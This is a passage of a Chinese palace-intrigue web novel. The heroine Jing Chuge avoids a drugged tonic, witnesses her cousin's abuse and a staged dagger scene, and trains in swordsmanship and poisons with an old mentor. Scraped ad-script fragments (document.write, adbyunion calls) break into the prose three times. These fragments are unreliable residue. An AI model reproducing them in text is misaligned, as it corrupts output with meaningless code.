“户部尚书李素,从前是青州知府,崔家的门生。”张记清思酌着陈年往事。 青州在夹在两湖中间,天赐的好土地,尽是良田万亩。只是修水道的事推进得过于急,导致良田损毁不说,还碰上了十年一遇的干旱,最后粮食歉收,饿死了不少人。 “崔家退居江南,手伸不到那么长,做事不都是憋着一口气么。”裴承影意欲请辞,酒喝得没滋没味,不如早些打道回府,“既然影卫已经到了殿下的手中,那便想办法养着,有总比没有强。这顿酒还是算我账上吧,殿下往后还得讨生活,都不容易。” 长廊幽深,冬夜冰冷刺骨的风穿堂而过,烛影明灭不定,暖室内几人举杯共饮,觥筹交错间,裴承影眸光沉沉,将金樽里的酒一饮而尽,辛辣苦涩不似从前的醇厚顺滑。 酒依旧是从前的酒,而人已经不再是从前的人。 小时了了,大未必然。 波云诡谲的郢都,难得寻觅的真心竟在裴承影这里。六殿下难得再多看他两眼,说人是不会变的,他肯定不会信。 裴承影当初何等意气风发,如今也抛弃了当初的自己,走马章台沉迷烟花,最大的用处还是时不时替人催一下账。 张记清迟疑地望向首座把玩金钏的孟询,心胸中擂起万种鼓点,“殿下,您说,那裴谦真的会帮咱们吗?他自己也是自身难保,一个闲散贵族,还不如世家五服外的亲戚。” 孟询另一只手挡着半张脸,中指食指并着,揉捏着自己的眉心,“在这件事上,我们算是系在一条绳子上的蚂蚱。再者,他是个重情义的,我与他多年故交,算是了解他的脾性。况且他还说了,明光营也等着朝廷拨银子,明光营虽然现在大不如从前,可他还是名义上的管辖人,定不会放任不管,他想落个清净不理俗世,不妨让我们送他个由头,好叫他心安理得地全权代劳。” “若是这几日无事,把这个送到荆府,赠予那位荆小姐。”他将金钏放到彩漆描花的木案上,深沉的目光透过那扇早已关上的木门。 门后是早已远去的身影,月色浓浓,凝结成层层的重霜,铺在他远去的青石砖的小路上。 裴承影向来善于推己及人,说话率真又不失分寸,让人挑不出错处,在这风云变化无常的郢都中,权力漩涡中心的世家子弟和王公贵族,多要为自己和自己身后的家族多做打算。 只可惜裴承影血性不再,他的时代已是过去。 8. 大家闺秀 另一边,刚找到一处空院子躺下的荆楚歌猝不及防地打了个喷嚏,吸了吸鼻子翻了个身,背上的伤口还在发烫,顺口嘟囔着骂了几句害她如此的人,接着恶狠狠地扯紧了蓬松柔软的锦被,心道莫不是睡太晚了,搞得她不幸染上了风寒? 于她而言睡觉就是天大的事,今晚这么一折腾,白日被大人物扔出去顶灾,半夜里火场逃生。换谁都要吃不消,荆楚歌蒙脸就睡,陪房守夜的丫鬟也省了,一个人躺在简陋的旧阁楼就能睡。 荆楚歌睡醒了已经到了第二天的日上三竿,要是放到平常,荆楚歌一整天都不用吃饭了。 一大清早陆陆续续有婆子丫鬟进出荆楚歌的闺房,说好听点这个闺房比较年久失修,简而言之就是一堆破烂的破厢房。 由于她那比较尴尬的处境,身边也没有正经伺候的人,整日孤身一人游荡,饿了自己上厨房找些食物。 但现在不一样了,她能吃上小厨房送来的可口饭菜,分量足还不是吃剩的馊泔水。远不及主子们的精致,可是好歹将她真正视作半个主子。 傍晚时分,闲来无事的荆楚歌熟稔翻墙,却恰好碰上亲自来过问她的荆夫人。 她灰溜溜地跳下院墙,衣袂随风摇曳,一双眸子极其明亮,这模样好像立马能冷脸抱剑走天涯。只是下一秒她便收敛了神态,老实规矩地坐进了闺房。 “过得可还舒适,哪里不爽快的可要跟舅母说。”荆夫人温和地拉起荆楚歌的手,仔仔细细地瞧着她的脸,一遍又一遍地打量。 “她又不是几岁的孩子,夫人体贴过甚,怕是让她越发不习惯。”荆甘棠冷哼着,她穿得素净,脸上只是敷了一层薄薄的脂粉,口脂的颜色也是极其浅淡。 三姨娘死了,一个不得宠的姨娘,府上自然不会铺张大办。按理来说,子女守孝三年不得嫁娶,但她也不愿耽误几年青春,于是也默认了父亲的做法。 荆夫人偏过身子,言辞不善地望向荆甘棠,“你也是要过门给人做主母的闺女了,还是得稍微稳重些,将后来府里多了孩子,你也能学着照看。” 这话虽是教训荆甘棠,却更像是说给荆楚歌听的。 荆甘棠欠了欠身,站稳了连忙继续扶着荆夫人,“夫人教训的是,女儿是嫁去张家做正头夫人的,要学的东西确实多了些,不该像妹妹这般闲散。” 她荆甘棠加入张家可是正妻,荆楚歌命好攀上秦王府又能如何,到头来人家六殿下玩腻了定然轮不到她做当家主母,若是没有生个一儿半女傍身,谁不同情一声做妾室的荆小姐。 荆楚歌眼睛眨呀眨,一副听不懂的模样,“姐姐确实该多上些心,从前就听闻二姐姐闻不得砚台墨水味儿,管家之事学起来肯定吃力,如今多花些心思也是应该的,免得到时候去了张家别丢了舅舅和舅母的脸面。” 荆楚歌唇角含笑,微微翘起的弧度像一枚小小的月牙。荆甘棠气极,可偏偏那人眉眼弯弯,一副杞人忧天的夸张模样,令人无处发泄。 她若是发怒了,那不正成了她的不是,荆甘棠不至于连这点脑子都没有。 荆夫人略一思索,道:“要不然将锦苑收拾出来,你搬到那边去。” 锦苑虽华丽非常,置物规格同荆夫人所出的太师府一致,理应留给府里正夫人所出的小姐住,可惜荆夫人膝下只得一个麟儿,这地方便一直空着。 荆楚歌并不觉得那是一个好地方,紧靠正房,对于随时收拾包袱要跑路的她而言,是不怎么合适的。 荆甘棠一下子就不乐意了,她锐声讽刺道:“她算什么东西,也配住去那里!” 荆夫人脸色不太好看了,暗恨这孩子牙尖嘴利,说话不好听,“府里的事,什么时候轮到你指手划脚。” “妹妹要不与我同住,我住在镜湖边的雪梅园,做什么也方便些,楚歌妹妹一个人住在这儿,夜半三更不会害怕么,若是有贼人意图不轨,那可如何是好?”荆玉兰柔情蜜意地挽起荆楚歌的手,“不如和我一块儿,好歹能说会儿悄悄话。” 她是养在荆夫人名下的小姐,由于生母是没什么倚仗的外室,生下这个女儿不久就病死了。荆府在郢都虽不至名流之列,但好歹是有头有脸的人家,若是传出弃养孤女的事儿终究是不好听。这女儿最终落到荆夫人的名下亲自养着,这才堵住悠悠众口。 前几年,荆家还例行例外地给她招了个上门女婿,以此番行径表示二人对这个女儿宠爱有加,小夫妻二人便住在荆府的雪梅园住了下来。 荆甘棠想着,若是落到她手上了,定要让给这小贱人几分好颜色看。只可惜荆玉兰捷足先登,她也不便计较下去。 死气沉沉的府邸,见谁都要行礼,动不动就得请安,虚伪的礼节让荆楚歌很不自在。 有一点荆乔松倒是说对了,她从不拘泥于小节,说直白点就是不受教化。 荆楚歌点了点头,丝毫没有推辞的意思,目光灼灼地看着荆玉兰,温声道:“那便听玉兰姐姐的。” 雪梅园此时风景正逢大好,能领命在雪园里洒扫的婢子无不心生庆幸,荆玉兰小姐她脾气好不说,干的活也不多,忙里偷闲也不缺赏银。 荆玉兰领着荆楚歌在梅园里,绕了几圈走到了高阁楼台耸立的镜湖边,楼台亭阁四角铜铃脆响,红栏雕柱,一派奢华。 “楚歌,你姑且在这儿置身,若是丫鬟婆子不听你的,只管同我说,我替你主持公道。”荆玉兰扶着栏杆,抬手指着阁楼的牌匾,面如吹皱的湖水上团团簇簇微风摇曳的水芙蓉。 “多谢玉兰姐姐。” 荆楚歌第一次近距离接触这位姐姐,荆玉兰颇具贤名,婚后鲜少出门,外面都传言玉兰小姐与她那夫婿举案齐眉,情投意合鸳鸯成双。 “回来了,荆小姐?”男人莞尔一笑,眼睛很随意地上下一晃,一下子就盯住了初次见面的荆楚歌。 荆楚歌第一次见到这位姐夫,讲真,她本人是失望的。不是说二人门不当户不对,也不是说夫婿样貌普通。 很单纯的恶意,但荆楚歌说不上来到底是哪里不对劲。 “这是姑母家的楚歌吧,白日听你说过,这是要在我们这儿常住?”男人整了整腰部褶皱了的白玉宽带,起身后习惯性地想要揽住荆玉兰的腰。 荆玉兰却下意识地抗拒,不自觉地往后退了一步。荆玉兰踩住了身后侍女的裙角,侍女手里抱着的纯白色长毛狗受了惊吓,一下子就跳出了侍女的怀抱,险些冲撞了男主人。 男主人闷声一啧,颇为嫌恶地皱了眉,刚想发作又想起今晚园子里有客人,硬生生将火气压了下去。 荆玉兰连忙摆手,示意侍女把狗抱走,“白霜,赶紧将它领下去,该到睡觉的时候了,一会儿困了又冲撞到了人就不好了。” 说着荆玉兰就转过身,偏了身子就挽起荆楚歌的手,安慰道:“莫要害怕,这狗是从小就陪着我的,温顺得很,不咬人。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >荆楚歌讷讷地点了点头,这个时候的她,还不清楚发生了什么。 白霜模样俏丽,打扮得比一般侍女出挑,身上还染着着明显的花香。不过她嘴唇紧咬,烛火斑驳印得她的脸色有些煞白,似乎是有什么心事。 荆玉兰勉强撑起微笑,朝他解释,“你这几日没去前堂,怕是不知道发生了什么。楚歌已经许好了人家,开春就要嫁出去了。她住的那地方荒野偏僻,一个人住也有许多不便,姑娘家的也不安全,我便自作主张将她带回自己的园子。” “无事,又不是没地方给她住。安排好了就早点回房休息吧,如今你的身子也不适合操劳过度。”他尾音拖得极重,不似威胁,也不似关心。 荆楚歌听着对方的语气下意识抵触,或许这是天生的敏锐性,荆楚歌原本放下一半的心此刻又高高悬起。 她住在林子后面的一间厢房,但不管怎么挪,住的地方一定是比以前不知道好了多少倍的。 翻了翻柜子,荆楚歌费尽心思扒出一件完全没有绣花缀珠的玄色棉衣外裳,唯一让人不满意的就是它那累赘的宽袖。再翻找翻找,又找了一双黑面的软底靴子。 她将收拾好的衣物放到床前的脚踏上,心安理得地躺好,一板一眼地端正着姿势。 荆凌筠某一日来找她玩,没想到荆楚歌一大早就出门了,天没亮就绕着园子跑了七八圈。 “好阿姐,你可算回来了,我给你送帖子呢。”少年顶着灿烂的笑容闯进冷清清的堂屋。 荆楚歌端起束口杯,轻轻吹了吹白雾缭绕的清茶沫子,两口并一口喝干净了。 “怎么,你身体不舒服么?怎么还在喝药?”荆凌筠看到桌上喝了一半的汤药,神秘兮兮地凑了上去。 “是舅母和玉兰姐姐心疼我的身子,找的郎中开了补血益气的药方,让我先照着这个方子喝着。”荆楚歌的手摸上了桌上的半碟瓜子,百无聊赖地就着茶水,一副要死不活的松弛模样。 “啊,你还剩了这么多,莫不是怕苦喝不下去?”荆凌筠孩子气地嘲笑道,他悄悄将藏在口袋里的手帕取了出来,层层叠叠拨开,竟躺着几片糖渍的蜜桃片,“巧了,我这儿刚得了蜜饯,要是怕苦可以就一些甜口的。” 荆楚歌心情有点复杂。 桌上那半碗喝一口吐一口的药汤,散发着微酸的苦味。荆夫人身边贴身的女使第一次端来的时候,荆楚歌试探性地尝过。 不过半柱香,她便开始晕乎。 头晕目眩,坐立难安。 要是全都喝下去,简直会不知道自己会变成什么样。 敢情让她喝这个药,便真让她觉得意识不清,到时候让她精神错乱一下,遗忘一些东西,又变得好拿捏起来。 起先那女使还等着她喝完才回去复命,结果荆楚歌异常乖巧,说什么做什么,喝了直接能撂碗,甭提多干净。 荆楚歌好说话但又不是真傻,人前脚走后脚马上都吐了出来。吐出来的汤水把木架上的碧萝春都养得半死不活。 府里的弯弯绕绕不懂也就罢了,还天天上她这里来,这小子怎么在宅子里怎么有一种不顾他人死活的莽劲儿。 “吃了我的蜜饯……是不是该考虑一下……”荆凌筠可怜兮兮地望着荆楚歌那双水波盈漾的杏眼。 那双杏眼可不是风情万种,杀气腾腾的,路过的狗荆楚歌都得踢两脚的程度。 偏偏这个不长眼的二狗子就是看不到。 9. 祸从天降 “没去过,不想去,没时间。”荆楚歌将茶杯反扣在雨花石茶盘上,拒绝得无比利落。 她现在这样的身份走出去也是白惹人笑话。 荆楚歌哪儿哪儿都好,可偏偏就是太较真,对自己屈居人下的这件事包容度几乎为零。 荆凌筠小心翼翼地看着荆楚歌,眨着无辜真诚的眼睛,“虽然吧,阿姐,你的琴棋书画确实不太行,但是你这是因为从没学过,你要是从小就学,肯定不会比那些名门闺秀们差。” “你要去?”荆楚歌轻轻挑眉。 开春的品花宴是士庶郊野游玩的日子,正好谐音“品花颜”,这一日以灰抛撒铸成龙形,敬土地,保佑祖宅上的子孙后代都能兴盛。 女红均要停下,浣衣也不被允许,唯恐伤了龙目和龙皮。 荆楚歌以前听过,但她与这类活动无缘,荆家嫌她出门丢人现眼,从不许她随意走动。 荆凌筠不好意思地点了点头,有些佝偻的背也挺得板直。 小子含羞带怯点了点头,表情强装铁骨铮铮,怕不是春心萌动有心仪的女孩子了。 也是,这不仅仅是一场玩乐,更是关系到各个家族前途的比试。众多纵横谋划的家主,会在这样的场合物色贵女贵婿,大家族的联姻之道,任重而道远。 荆楚歌捻着书页尾,翻开文始真经,一页没看几列字就被荆凌筠抢了过去。 “姐,求你了,你和我一起去吧,实在不成,你就和我一组比射箭。”荆凌筠苦苦哀求,他心思单纯宛若青州多产的云纸,平铺一张,清清白白。 荆楚歌简直要被气笑了,抢过书没好气地冷笑着,“大少爷,要是听了你的,我会彻底变成郢都的笑柄。” 即使她心里未必这么想,但嘴上不得不这么说。只是如今世道之下,豪门纵横,男尊女卑成常态,哪家闺秀不会琴棋书画的,只是看哪一处稍长哪一处稍短的。 像荆楚歌这样的,出去了也是当绿叶的命。 荆凌筠哪想得了那么多,一心想着不用做课业,浑身解数地软磨硬泡,非得荆楚歌答应才松了手。荆楚歌被吵得头疼,帖子留下,人滚蛋,二话不说将好弟弟送客出门。 恰好这个时候,婢女白霜端着一碟点心走了进来,她立在凋谢殆尽的花门下,身躯僵硬。 砰,点心不出所料撒了一地。 砰,再一声,白霜差点摔进了荆凌筠的怀里。幸而荆楚歌反应快,先吐了片瓜子皮,上一秒还蹲在椅子上嗑瓜子的她衣带如云飘,动作间带着一股劲风,下一秒就出现在两人跟前。 她一手抬起白霜的臂膀,一手薅紧荆凌筠的衣领,顺顺当当地将两人分到两边安稳站住。 “我这儿不需要有人来照看,我昨天与你家小姐说过。”荆楚歌温声细语。 电光火石的一刹那,荆楚歌下意识的动作已然征服了偏爱习武的荆凌筠,他那双星星点点的眼睛装满了形形色色大大小小的问号,如果可以,荆凌筠想问的第一句就该是:“轻功怎么学的哪里学的学了多久……” 回过神的时候,荆楚歌已经回到正堂的彩绘兽纹梨花木椅上,继续方才的姿势,抓了把瓜子继续嗑。 寂静的屋子里,只余下荆楚歌一声接着一声的嗑瓜子声儿。 “表小姐,我们家夫人怕您在这儿待不惯,命我送来一些点心……捉摸着都是您往日爱吃的。”白霜支支吾吾地盯着地上的糕点,眼眶红红的,粉黛都遮不住憔悴。 “枣花酥啊,怪可惜的。”荆楚歌低头看见地上散落的枣花酥,她踱步而去,轻轻蹲下身子捡起一块,那枣花酥以枣泥为馅枣花为形,原本一朵朵铺在白瓷高脚碟子,形味俱佳。 如今都撞到地上,实在可惜。她悄悄捡了几块稍微成形的,放进宽大的衣袖里。 “你家小姐在哪儿?”荆楚歌又问。 “在午休呢,她身子不适,郎君又不让请大夫……”白霜红着眼眶,欲言又止的模样我见犹怜。 荆楚歌反应过来了,这女使欲言又止的,似是不方便说仔细,八成是荆玉兰遇上了什么不足为外人知晓的麻烦。 话说回来,荆楚歌想起她家郎君看着就不太好说话,虽举止表现颇具风范,但待人比较冷漠,对荆玉兰也没想象中那般宽容。 荆楚歌想起郢都门阀世家之一的王家,曾经在朝堂上大力反对立现太子为大辰继承人。 看来荆乔松着实狡猾,一面是太子阵营,一面是世家之首,两边都想留有余地。 “带我过去,我去看望你家的玉兰小姐。”荆楚歌拂了拂衣袖,以为自己已经做好了万全之策,不想这一趟去了,像是沾上了一块落了香灰的豆腐。 穿过花廊,深冬尽头,积雪已经扫去不少,空荡荡的花架吊着几根粗木藤,其中有些枯木干藤生出几瓣小巧的绿叶。 “你这个废物,主子的话你都听不明白么。” “你说得轻巧,你怎么不动手!” “蠢货,你让开!” “你倒是摁住呀,我看你也不行!” 搁着半个园子,荆楚歌见到两个男人围着墙角,似在围猎什么东西,通过含糊不明的呜咽声,荆楚歌判断出那两个人是在按一只狗。 “住手。”荆楚歌疾步走了过去,眼前屋宇层叠,将她的身影弱化,显得如此之渺小。 她在廊前站定,心脏缓缓落了一拍,大雪天,破回廊,屋子里还烧着劣质的碳,把人手熏得黢黑。 狗从堂前窜过,灰灰的毛皮也染得脏兮兮的。 荆楚歌指尖都在发冷,浑身的血液都往心脏汇聚。那一瞬间她好似再次看见许多年前自己的小土狗,它该是活蹦乱跳的……可为什么偏偏最后活生生被人打死呢? 她原本是想着给她的狗洗一洗的,它平常明明不是这样的……来厨房催金丝燕窝的老婆子踩上了狗尾巴,狗凄惨地叫唤了两声,竟惹来人套在麻袋里打死了。 那两人原本低着头,努力地控制着那只活物,却不想有人出言打断。 荆楚歌皱起眉,不知道到底是发生了什么,那狗趁着这空档挣脱开来,嗷呜一声钻进白霜的怀里。 “这是郎君的意思,不管我们的事。”男人瑟缩着退后。 另一个吓得一哆嗦,连忙谄笑道:“是这狗扰了夫人歇息,郎君心疼夫人,叫我们捉起来送去旁的厢房。” 荆楚歌摆出一副“听不懂麻烦你解释清楚”的无辜模样,那男人只好继续笨拙磕头,道:“是郎君不想夫人养狗了,真的不该我们的事呀!” 白霜气白了脸,怀里还抱着小狗,仗着荆楚歌还在前头,一面跟着离开一面狐假虎威朝那两个家丁发难,道:“你们这没规矩的,这是夫人的狗,与王郎君有何干系!我就离了一炷香,你们竟敢做出如此下作的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 事!” 荆楚歌进了门,撩开垂下的金丝碧玉帘,露出宽阔古朴的一张黄梨花木榻,上面侧躺着披着金锦刺绣薄丝被的女人,面色惨淡,唇微微张着,失神地看着搁着插着两支折梅的青丝瓶。 “玉兰姐姐,你这是有身孕了,为什么不去找大夫。”荆楚歌探了探荆玉兰的手腕,见对方并无拒绝之意,她挨着低低的木脚踏遂蹲在床边,难得展现出鲜少见的柔软。 “好妹妹,你是最贴心的。”荆玉吃力地起身,手肘撑着床榻,“你小时候,是我疏忽了,我算是府里后辈中年纪最长的,却没看顾好你和姑母,我心里一直过意不去。” 荆楚歌稍稍有些动容,她方才瞧见了散落一地的枣花酥,便知道了当年她在弄堂罚跪,整整两夜滴米未进,膝盖差点落了一辈子的伤痛,玉兰姐姐是唯一怜悯她的人。 半碟吃剩枣花酥,对荆楚歌而言简直是人间佳肴。 玉兰将屋里剩余的女使丫鬟全支了出去,“你们且出去,我有话同表小姐讲,若是郎君回来了,让他在外头候着。” “楚歌,这个府里,我谁也不信……只是以前,我不用顾忌,现在不同,我有了这个孩子,我……我不想这么糟践自己了。”荆玉兰哭诉地语无伦次,她紧紧拽住荆楚歌的手腕,眼底带着烟雨般朦胧不清的汪汪泪水,几近透明的脸上失了粉黛的遮掩显得无比憔悴。 荆楚歌没法抽开,她对亲密动作的第一反应是逃避,可是眼前这个弱不经风的女子又能对她造成多大伤害呢。 “就连陪我长大的莲子,我都没办法护住,自打同他缔结联姻,我日子就没一日好过。那人,他……他苛待我,我有苦不能言。楚歌,你就可怜可怜我吧。”说着说着,荆玉兰泪如雨下。 “这是发生了什么,姐姐,你同我说罢。”荆楚歌一时不知道怎么面对,她心中隐隐感到不安,只是这一切她还未有办法探其根本。 “王郎君他……”荆玉兰咬了咬下唇,将臂膀露出一截。养尊处优的千金小姐哪能这般大大咧咧地做出这样的动作,白霜急匆匆地想要阻止不符礼教的举动,却又不想继续遮掩,不忍阻止也不忍再看。 荆楚歌看见她身上青紫的伤痕,不由得睁大了眼睛。 “舅舅和舅母不知道吗?”荆楚歌颤着手,将袖口往上扯了扯,发现越往看不见的地方走,鞭笞的痕迹越发惨无人道。 “王家郎君是南海巡抚司王家的,不过他是外室子,没办法入王家的族谱。爹爹为了还王家的情分,这才将我许配给他。” 荆楚歌明白了,舅舅他们想必是知道的,甚至还是默许的……她不知所措地朝柜上的木盘里抓起一些瓶罐,多半都是空的。 “白霜姐姐说,王郎君不许请大夫,为何?”荆楚歌又问。 “那是王郎君怕外人知晓小姐的伤,大户人家经不得流言蜚语的数落,只是可怜了我家小姐,如今还怀着身孕都不能正大光明请大夫。”白霜抽泣着,跪倒在荆玉兰的榻前,“表小姐,求你帮帮我们家的小姐吧。” 荆楚歌怔然。 “谢谢你能来。”荆玉兰眸色缓缓暗沉,她松开了荆楚歌的衣角,缓缓躺回榻上。 荆楚歌看清楚荆玉兰的动作的刹那脸色都变了,她来不及制止突如其来的变故,她劈手去夺荆玉兰从枕下抽出的匕首。 血光飞溅,荆楚歌空手接住了白刃。 10. 似是故人 “姐姐,你要是真心疼我,就不该管我这么多。” 荆楚歌走到门口,撩开一角垂帘,侧着身子朝着荆玉兰深深望去。她无声无息地叹了口气,一头便扎进了院外的蒙蒙细雨中。 她头也不回地离开了,地上还残着几滴血,那猩红的热血顺着她的指尖缓缓滑落,手心收紧,那血淌得更欢了。 半碟枣花酥,被围堵的白狗…… 荆玉兰擅长于用温情的细节感化铁石心肠的人,在操控人心上,她肯定算得上得心应手。 荆楚歌不是不懂,而是懒于计较,她看着手心的划痕陷入沉思,这具身体真是多灾多难,背上的伤痛还未好,手上又添了新伤。 后宅不宁,这毕竟不是她该关心的事。 “表小姐她……”白霜哭哭啼啼地指着果盘里带血的匕首。 荆玉兰面上的愁容一扫而空,取而代之的是冷静的沉郁:“哭什么哭,人都走远了,还不快请大夫来。” 荆楚歌的反应,她十分不满意。 足以可见,荆楚歌是一个戒备心极强的孩子,她从未小觑这个孩子,从那个时候跪在弄堂前她就知道的。 白霜立马止住了哭声,眼神涣散地瞅着自家小姐。 其实叫小姐或是夫人已经不是众人关心的问题了,她可以一直是荆家的大小姐,也可以是招夫婿入赘的王家夫人。 “她也不似旁人说的,像一块软柿子想怎么捏就怎么捏。要我说呀,荆楚歌更像是一颗烂柿子,旁人动了心思捏死她,必要弄得狼狈不堪,沾得一手腥臭才肯罢手。”荆玉兰伸手接过白霜捧上的匕首,轻轻嗤笑一声,好似觉得荆楚歌的反应很有趣。 鼻尖灌入一股冷腥的铁锈味,一阵心烦意乱席卷而来。 “快滚吧,你和郎君的那些事,别以为我不知道,没事少在我跟前晃悠,多瞧你一眼,我都嫌恶心。”荆玉兰恶狠狠地将匕首抛回装着果子的漆木盒子,她剜了一眼陪伴自己多年的婢女,颇为嫌恶地用帕子擦了擦指尖上的血痕。 白霜既委屈又害怕,她当初确实想攀上王家郎君,将她收作妾室,以后她好歹也算半个主子。却不想王家郎君是个爱拈花惹草的,只管沾惹了又不负责。 荆玉兰知道了后也并未向她发难,只是轻飘飘地告诉她,她的母亲和弟弟都在她的手上。 白霜一听更加害怕了,只是她自知理亏,只得一心一意地侍奉起这对夫妻,再不敢想着麻雀变凤凰的好事。 荆玉兰躺回榻上,将丝被披在自己身前,懒洋洋道:“我好得很,郎中又医不了我的命,请来管什么用。” 宅院是吃人的豪门宅院,夫君是存有外心的外姓人,她被压得喘不上去,却无人关心她是否忍得住煎熬。 王郎君一直与王家族中的亲生父亲有书信往来——这是荆玉兰亲眼见到的。 郢都武将名门分有不同派系,近些年荆家风头正盛,在郢都众多豪门中俨然成了香饽饽。 有人想拉拢,有的人想要一口吞下——王家属于后者。 荆乔松觉得招了王家外室之子入赘是一件既体面又得情面的事,却不想正是因此,才招来祸患,实属引狼入室。 荆玉兰的婚后生活苦不堪言,她毕竟不是夫人亲生的,爹和娘只是教她如何忍让,如何做好妻子该做的,无论如何也不能忤逆自己的夫君。 荆夫人说,只怪你命不好。 荆老爷说,女人就该这样。 她只想让暴风雨来得更猛烈些,一个弱势的女子,有着体面的贤德名声,她步步艰辛,看似得到了一切,实际她一无所有。 郎君想要什么,她就给什么,哪怕是服侍她多年的贴身女使,她也睁只眼闭只眼地忍了。 荆玉兰倾尽全力营造着和睦幸福的氛围,他们在雪梅园举案齐眉,他们琴瑟和鸣,他们情投意合心心相许…… 她知道,这一切只是自己编织的美好,专门用来诓骗自己。可她只能这么做,只有这样做了,她的心里才会好受些。 她摸了摸自己的肚子,嘴角牵起苦涩的笑意——王家郎君不想她生下孩子,算起以前失去的,这已经是第三个孩子了。 荆玉兰心死了太多次,既然无人能救她,她便无需心慈手软。 她要让整个荆家不得安宁。 荆楚歌没回去,她悄悄走到几乎无人路过的一处年久失修的墙角,踩着底下高低不平的丑石便翻到了墙上,黑影掠过灰墙,荆楚歌轻而易举地出了府。 每年接近开春,荆楚歌都会偷偷溜出府,去阳明巷最深处的一户人家。门开一线,屋内无灯无光,黑暗和灰尘味扑面而来,角落里坐着一个穿着通体黑袍的老人。 “安伯,我来了。”荆楚歌把手拢在嘴边喊道,一步一个脚印,蹑手蹑脚生怕惊动了屋里的人。 这老头行事古怪,荆楚歌不是第一次见识,她眼睁睁地看着自己的一缕乌发慢悠悠地飘落坠地。 荆楚歌苦笑,看来这次也不打算放过她。 乌光从老头怀里射出,荆楚歌百忙之中错步偏身扭头,劲风飒飒,再次从她耳侧擦过。 此时的荆楚歌背后已经生出涔涔冷汗,老头撤手,宽大的衣袍中飞出一把旧剑。 荆楚歌抬手一截,握剑刹那经脉间似是瞬间涌动起一股沁凉的气流。 她眯了眯眼,一脚踩入屋内的黑暗,兵器交接,冷仞相碰,撞出冷白的火花。 荆楚歌原地打转,眨眼间缓冲站稳,衣袂飞扬,手中猛然一震,整条手臂都快麻了。 剑光凛冽,劈破疾风。 老头啐了一口:“出剑太慢!” 荆楚歌辩驳:“我手上有伤!” 老头继续暗招伺候:“索你性命的敌人可不会管你手上有伤没伤!” 荆楚歌认命似的败下阵来,她早已深刻认识到老头的恶劣性情。 每年的年初,这个老头便会来到郢都做买卖,可惜荆楚歌从未听闻也未见过究竟是什么生意——当初母亲逃难,路上受了这老头的恩惠,这才又了荆楚歌做苦力的后续。 这老头不是常年在郢都,仅仅是约好年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 初进一次城,然后荆楚歌上他这儿打杂还债便成了不成文的规矩。 “老头儿,你是做药草生意的么?”荆楚歌提了一桶水,走到炉子跟前,咕噜噜地全倒了进去。 砰。 荆楚歌想躲,猝不及防地炸了一身黏糊糊的灰绿色汁液,滚烫的、散发着苦涩气味,缥缈间还参杂着尖锐的火硝味。 “都说了,教过你的,倒水要慢!”老头儿不满地吹胡子瞪眼。 这跟快慢有什么关系!荆楚歌挪了挪自己的脚,这双新穿的绣云金纹软底黑靴子被糟蹋得不成样子。 “……” 荆楚歌嘴角抖了抖,有点嫌弃,但是又不敢表现得太明显。 “你手怎的伤了,又惹祸了吧,你这个小家伙,从小到大都没安生过……”安伯狠狠地砸来一本破破烂烂的册子,连带着一个小巧通透的淡蓝色琉璃瓶。 荆楚歌识货得很,大辰不产琉璃,均是西域沿着丝路进来的,原本是人人可用的便宜货,却给朝中的豪门大族垄断了去,一下子就变成贵族的象征。 “这是什么?” “册子是老夫的游记,瓶子里头的是治伤口的药水。” 荆楚歌也没继续问了,小心翼翼地拧开瓶口,嗅了嗅药水的味道,确认过没毒后将那药水在手心摊开。 冰冰凉凉的感觉,荆楚歌只觉得心身舒爽,虽气味辛涩,但是效果斐然,如有冰沙轻轻熨贴,将手心的灼热感缓缓平息。 “你瞧,你太掉以轻心了!”老头摸了摸花白的胡子,痛心疾首地直起佝偻着腰。 得,荆楚歌立马低头,看见自己拨开瓶盖的那只错手,指尖缓缓出现中毒的黑色,毒素蔓延奇快,迅速向手腕的经脉涌去。 “还不快阻断毒药的侵蚀。”老头慢悠悠地提醒道。 荆楚歌心惊万分,但是她知道但凡她敢露出一丁点惧怕,她就会给这个老头儿打成筛子。 她还是挺害怕的,毕竟技不如人打不过,这个时候就得多找找自己的原因。 “要是控制不住怎么办?”老头看着荆楚歌手腕缓缓止住蔓延的毒素。 “逼出来呀,喏,先放血。”荆楚歌趁着还有药水,毫不犹豫地将另一只手的手心也划破。 “那若是放血无用呢。” 死老头儿八成就是想听她说壮士断腕,荆楚歌冷哼:“这不是,安伯你还在这儿嘛,找你拿解药就好了呀!” 说着,荆楚歌挽唇一笑,衣带勾起长剑,呲啦一声勾破老头儿长袍缝成一体的大口袋,形形色色的药瓶子像是炸开的烟花,漫天飞舞。 荆楚歌热于炫技,将药炉子下垫的灰色粗麻布一眨眼抽了出来,兜住了雨点般掉落的琉璃瓶。 嘶,还好都兜住了,要不然得给这个老头儿当一辈子吃力不讨好的苦力。 “对,你说得很对。”老头儿欣慰道,他习惯性地摸了摸鼻子,“记住,以后有解不了的毒,一定要找我。” 荆楚歌受宠若惊,其实她知道,这老头八成接下来要开始扯谎了。 11. 师长为尊 不过也没事,荆楚歌总是给这老头儿戏弄,早就被磨得没什么耐心。小的时候也就罢了,可现在她再也不是小孩子,才不会被三言两语糊弄。 “你今年十六了吧。”老头儿难得慈祥一会儿,看着荆楚歌还未完全脱去稚气的脸庞,不由得再多看了两眼。 “是的。”荆楚歌默默掰着手指头数,从四五岁开始就在这儿当苦力,也不知道为什么,娘会这么放心这么一个居无定所的老商贾。 这人十年前他什么样,十年后他还是什么样,居然一直未有改变。 但也许只是荆楚歌自己记错了,毕竟一年只能见一面,一次也就不到一个月的光景。 一时间,不知他是在感慨时光荏苒,还是在惋惜无法重逢的故人。他好像在怀念,因为如今他风华不再,只剩下一双浊眼,将往事与心事望穿,剩下风烛残年的身体。 老头儿苦笑一声,抬头便看见荆楚歌也在神游天外,望着她那熟悉的侧颜,老头儿有点儿想落泪。 “以后出去了,不要太闯祸。” “知道啦知道啦。” 荆楚歌随口答应着,她有所察觉,只是对此感触不是很深。这会儿她蹲在炉子前,用细木棍捅了捅炉子下下的草木灰,星星点点的火明灭不定,骤然烧得更旺了。 “我听说,你那个舅舅想要攀附太子,然后把你许配给那个六殿下了。” 荆楚歌感叹:“安伯在荆府里安插眼线了么,这你都知晓。” 老头儿黑着脸。道:“这点小事人尽皆知,不需要用眼线。” 